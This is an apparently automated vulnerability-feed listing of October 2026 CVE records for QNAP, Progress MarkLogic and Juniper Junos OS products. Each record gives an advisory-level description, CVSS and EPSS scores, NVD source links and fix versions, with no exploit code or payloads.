NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50612&date=2026-10-25
An unix symbolic link (symlink) following vulnerability has been reported to affect QuMagie. If a remote attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
QuMagie 2.9.2 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A path traversal vulnerability has been reported to affect Qsirch.
https://kevwire.com/record/CVE-2026-50619
A path traversal vulnerability has been reported to affect Qsirch. (Oct 15, 2026).
A path traversal vulnerability has been reported to affect Qsirch. If exploited, the vulnerability could allow remote attackers to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Qsirch 7.0.3.0 and later
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-50619).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50619&date=2026-10-25).
Sources:
NVD CVE-2026-50619: https://nvd.nist.gov/vuln/detail/CVE-2026-50619
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50619&date=2026-10-25
A path traversal vulnerability has been reported to affect Qsirch. If exploited, the vulnerability could allow remote attackers to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Qsirch 7.0.3.0 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An improper link resolution before file access ('link following') vulnerability has been reported to affect Virtualization Station.
https://kevwire.com/record/CVE-2026-53882
An improper link resolution before file access ('link following') vulnerability has been reported to affect Virtualization Station. (Oct 15, 2026).
An improper link resolution before file access ('link following') vulnerability has been reported to affect Virtualization Station. If a remote attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
Virtualization Station 4.1.1.130 and later
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53882).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53882&date=2026-10-25).
Sources:
NVD CVE-2026-53882: https://nvd.nist.gov/vuln/detail/CVE-2026-53882
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53882&date=2026-10-25
An improper link resolution before file access ('link following') vulnerability has been reported to affect Virtualization Station. If a remote attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
Virtualization Station 4.1.1.130 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 assign overly permissive operating-system permissions to certain log files, which could allow...
https://kevwire.com/record/CVE-2026-85971
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 assign overly permissive operating-system permissions to certain log files, which could allow... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 assign overly permissive operating-system permissions to certain log files, which could allow a local user to read or alter log data. The corrected default permissions apply to newly created and rotated logs; existing logs retain their current permissions until remediated.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85971).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85971&date=2026-10-25).
Sources:
NVD CVE-2026-85971: https://nvd.nist.gov/vuln/detail/CVE-2026-85971
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85971&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 assign overly permissive operating-system permissions to certain log files, which could allow a local user to read or alter log data. The corrected default permissions apply to newly created and rotated logs; existing logs retain their current permissions until remediated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently verify the identity of a Kerberos authentication service in certain...
https://kevwire.com/record/CVE-2026-85972
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently verify the identity of a Kerberos authentication service in certain... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently verify the identity of a Kerberos authentication service in certain password-based authentication configurations. A network-positioned attacker could impersonate trusted authentication infrastructure, potentially resulting in unauthorized access or modification of protected data.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85972).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85972&date=2026-10-25).
Sources:
NVD CVE-2026-85972: https://nvd.nist.gov/vuln/detail/CVE-2026-85972
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85972&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently verify the identity of a Kerberos authentication service in certain password-based authentication configurations. A network-positioned attacker could impersonate trusted authentication infrastructure, potentially resulting in unauthorized access or modification of protected data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently isolate user-supplied code executed through certain REST and XDBC...
https://kevwire.com/record/CVE-2026-9191
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently isolate user-supplied code executed through certain REST and XDBC... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently isolate user-supplied code executed through certain REST and XDBC evaluation paths from HTTP request, response, and session state. An attacker able to execute code through an affected path could perform unauthorized actions or compromise an authenticated session.
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9191).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9191&date=2026-10-25).
Sources:
NVD CVE-2026-9191: https://nvd.nist.gov/vuln/detail/CVE-2026-9191
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9191&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently isolate user-supplied code executed through certain REST and XDBC evaluation paths from HTTP request, response, and session state. An attacker able to execute code through an affected path could perform unauthorized actions or compromise an authenticated session.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Authentication vulnerability in the J-Web web management component of Juniper Networks Junos OS allows an unauthenticated remote attacker to execute arbitrary Junos...
https://kevwire.com/record/CVE-2026-101956
An Improper Authentication vulnerability in the J-Web web management component of Juniper Networks Junos OS allows an unauthenticated remote attacker to execute arbitrary Junos... (Oct 14, 2026).
An Improper Authentication vulnerability in the J-Web web management component of Juniper Networks Junos OS allows an unauthenticated remote attacker to execute arbitrary Junos commands with root privileges via the exposed J-Web web interface.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101956).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101956&date=2026-10-25).
Sources:
NVD CVE-2026-101956: https://nvd.nist.gov/vuln/detail/CVE-2026-101956
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101956&date=2026-10-25
An Improper Authentication vulnerability in the J-Web web management component of Juniper Networks Junos OS allows an unauthenticated remote attacker to execute arbitrary Junos commands with root privileges via the exposed J-Web web interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Use of Externally-Controlled Format String vulnerability in the gRPC daemon of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause...
https://kevwire.com/record/CVE-2026-101965
An Use of Externally-Controlled Format String vulnerability in the gRPC daemon of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause... (Oct 14, 2026).
An Use of Externally-Controlled Format String vulnerability in the gRPC daemon of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause telemetry-service disruption, information disclosure, or potential root-level code execution via a crafted message to the gNMI service.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101965).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101965&date=2026-10-25).
Sources:
NVD CVE-2026-101965: https://nvd.nist.gov/vuln/detail/CVE-2026-101965
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101965&date=2026-10-25
An Use of Externally-Controlled Format String vulnerability in the gRPC daemon of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause telemetry-service disruption, information disclosure, or potential root-level code execution via a crafted message to the gNMI service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved allows an unauthenticated attacker on the management LAN to...
https://kevwire.com/record/CVE-2026-101967
An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved allows an unauthenticated attacker on the management LAN to... (Oct 14, 2026).
An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved allows an unauthenticated attacker on the management LAN to execute commands as root via crafted DHCP response.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101967).
EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101967&date=2026-10-25).
Sources:
NVD CVE-2026-101967: https://nvd.nist.gov/vuln/detail/CVE-2026-101967
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101967&date=2026-10-25
An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved allows an unauthenticated attacker on the management LAN to execute commands as root via crafted DHCP response.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the authd Juniper Networks Junos OS and Junos OS Evolved allows a network attacker with SNMP read access to execute code with root...
https://kevwire.com/record/CVE-2026-101979
A Stack-based Buffer Overflow vulnerability in the authd Juniper Networks Junos OS and Junos OS Evolved allows a network attacker with SNMP read access to execute code with root... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the authd Juniper Networks Junos OS and Junos OS Evolved allows a network attacker with SNMP read access to execute code with root privileges or cause a denial of service via a specific SNMP packet, when SNMP and AAA are enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101979).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101979&date=2026-10-25).
Sources:
NVD CVE-2026-101979: https://nvd.nist.gov/vuln/detail/CVE-2026-101979
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101979&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the authd Juniper Networks Junos OS and Junos OS Evolved allows a network attacker with SNMP read access to execute code with root privileges or cause a denial of service via a specific SNMP packet, when SNMP and AAA are enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the httpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to cause remote code...
https://kevwire.com/record/CVE-2026-101983
A Stack-based Buffer Overflow vulnerability in the httpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to cause remote code... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the httpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to cause remote code execution and denial of service via a J-Web virtual-domain configured.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101983).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101983&date=2026-10-25).
Sources:
NVD CVE-2026-101983: https://nvd.nist.gov/vuln/detail/CVE-2026-101983
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101983&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the httpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to cause remote code execution and denial of service via a J-Web virtual-domain configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An  Improper Authentication vulnerability in J-Web of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to bypass J-Web authentication and...
https://kevwire.com/record/CVE-2026-101986
An  Improper Authentication vulnerability in J-Web of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to bypass J-Web authentication and... (Oct 14, 2026).
An  Improper Authentication vulnerability in J-Web of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to bypass J-Web authentication and execute CGI content with elevated privileges via a crafted HTTP request.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101986).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101986&date=2026-10-25).
Sources:
NVD CVE-2026-101986: https://nvd.nist.gov/vuln/detail/CVE-2026-101986
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101986&date=2026-10-25
An  Improper Authentication vulnerability in J-Web of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to bypass J-Web authentication and execute CGI content with elevated privileges via a crafted HTTP request.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Use of Externally-Controlled Format String vulnerability in the ipfd daemon of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to...
https://kevwire.com/record/CVE-2026-102062
An Use of Externally-Controlled Format String vulnerability in the ipfd daemon of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to... (Oct 14, 2026).
An Use of Externally-Controlled Format String vulnerability in the ipfd daemon of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to execute code with root privileges via a compromised or impersonated configured HTTPS feed server.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102062).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102062&date=2026-10-25).
Sources:
NVD CVE-2026-102062: https://nvd.nist.gov/vuln/detail/CVE-2026-102062
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102062&date=2026-10-25
An Use of Externally-Controlled Format String vulnerability in the ipfd daemon of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to execute code with root privileges via a compromised or impersonated configured HTTPS feed server.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated remote attacker to trigger a kernel panic via a crafted...
https://kevwire.com/record/CVE-2026-102068
A Stack-based Buffer Overflow vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated remote attacker to trigger a kernel panic via a crafted... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated remote attacker to trigger a kernel panic via a crafted TCP packet when key-chain authentication is used for BGP or LDP.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102068).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102068&date=2026-10-25).
Sources:
NVD CVE-2026-102068: https://nvd.nist.gov/vuln/detail/CVE-2026-102068
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102068&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated remote attacker to trigger a kernel panic via a crafted TCP packet when key-chain authentication is used for BGP or LDP.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the dot1x daemon of Juniper Networks Junos OS devices operating as Junos Fusion Aggregation Devices allows an adjacent attacker...
https://kevwire.com/record/CVE-2026-102069
A Stack-based Buffer Overflow vulnerability in the dot1x daemon of Juniper Networks Junos OS devices operating as Junos Fusion Aggregation Devices allows an adjacent attacker... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the dot1x daemon of Juniper Networks Junos OS devices operating as Junos Fusion Aggregation Devices allows an adjacent attacker acting as the configured ICCP peer to cause a denial of service and potentially execute code as root via. The issue is triggered when dot1x synchronization is enabled for the required Fusion satellite topology.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102069).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102069&date=2026-10-25).
Sources:
NVD CVE-2026-102069: https://nvd.nist.gov/vuln/detail/CVE-2026-102069
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102069&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the dot1x daemon of Juniper Networks Junos OS devices operating as Junos Fusion Aggregation Devices allows an adjacent attacker acting as the configured ICCP peer to cause a denial of service and potentially execute code as root via. The issue is triggered when dot1x synchronization is enabled for the required Fusion satellite topology.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the Two-Way Active Measurement Protocol (TWAMP) client of Juniper Networks Junos OS allows an unauthenticated network-based attacker to...
https://kevwire.com/record/CVE-2026-102070
A Reachable Assertion vulnerability in the Two-Way Active Measurement Protocol (TWAMP) client of Juniper Networks Junos OS allows an unauthenticated network-based attacker to... (Oct 14, 2026).
A Reachable Assertion vulnerability in the Two-Way Active Measurement Protocol (TWAMP) client of Juniper Networks Junos OS allows an unauthenticated network-based attacker to cause rmopd service disruption via a specific TCP packet.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102070).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102070&date=2026-10-25).
Sources:
NVD CVE-2026-102070: https://nvd.nist.gov/vuln/detail/CVE-2026-102070
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102070&date=2026-10-25
A Reachable Assertion vulnerability in the Two-Way Active Measurement Protocol (TWAMP) client of Juniper Networks Junos OS allows an unauthenticated network-based attacker to cause rmopd service disruption via a specific TCP packet.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a...
https://kevwire.com/record/CVE-2026-102071
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via a specific RSVP packet.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102071).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102071&date=2026-10-25).
Sources:
NVD CVE-2026-102071: https://nvd.nist.gov/vuln/detail/CVE-2026-102071
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102071&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via a specific RSVP packet.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Handling of Highly Compressed Data vulnerability in the gRPC library used by na-grpcd of Juniper Networks Junos OS allows an authenticated network-based attacker to...
https://kevwire.com/record/CVE-2026-102072
An Improper Handling of Highly Compressed Data vulnerability in the gRPC library used by na-grpcd of Juniper Networks Junos OS allows an authenticated network-based attacker to... (Oct 14, 2026).
An Improper Handling of Highly Compressed Data vulnerability in the gRPC library used by na-grpcd of Juniper Networks Junos OS allows an authenticated network-based attacker to cause a denial of service via a compressed gRPC request.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102072).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102072&date=2026-10-25).
Sources:
NVD CVE-2026-102072: https://nvd.nist.gov/vuln/detail/CVE-2026-102072
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102072&date=2026-10-25
An Improper Handling of Highly Compressed Data vulnerability in the gRPC library used by na-grpcd of Juniper Networks Junos OS allows an authenticated network-based attacker to cause a denial of service via a compressed gRPC request.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series with SPC3 allows an...
https://kevwire.com/record/CVE-2026-102077
An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series with SPC3 allows an... (Oct 14, 2026).
An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series with SPC3 allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).



On MX Series with SPC3 line-card and source NAT configuration, when a specific malformed IPv6 packet is received, it is not dropped but instead a session is created and NAT resources are allocated. Continued receipt of such packets will eventually lead to session or resource exhaustion, which will impact all traffic through the device. To recover the device needs to be rebooted.
To monitor session usage, use the following:

show services sessions summary

To monitor source NAT resource usage, use the following: 

show services nat pool

This issue affects Junos OS on MX Series with SPC3:

  *  All versions before 23.2R2-S4;
  *  23.4 versions before 23.4R2-S5;
  *  24.2 versions before 24.2R2.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102077).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102077&date=2026-10-25).
Sources:
NVD CVE-2026-102077: https://nvd.nist.gov/vuln/detail/CVE-2026-102077
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102077&date=2026-10-25
An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series with SPC3 allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).



On MX Series with SPC3 line-card and source NAT configuration, when a specific malformed IPv6 packet is received, it is not dropped but instead a session is created and NAT resources are allocated. Continued receipt of such packets will eventually lead to session or resource exhaustion, which will impact all traffic through the device. To recover the device needs to be rebooted.
To monitor session usage, use the following:

show services sessions summary

To monitor source NAT resource usage, use the following: 

show services nat pool

This issue affects Junos OS on MX Series with SPC3:

  *  All versions before 23.2R2-S4;
  *  23.4 versions before 23.4R2-S5;
  *  24.2 versions before 24.2R2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

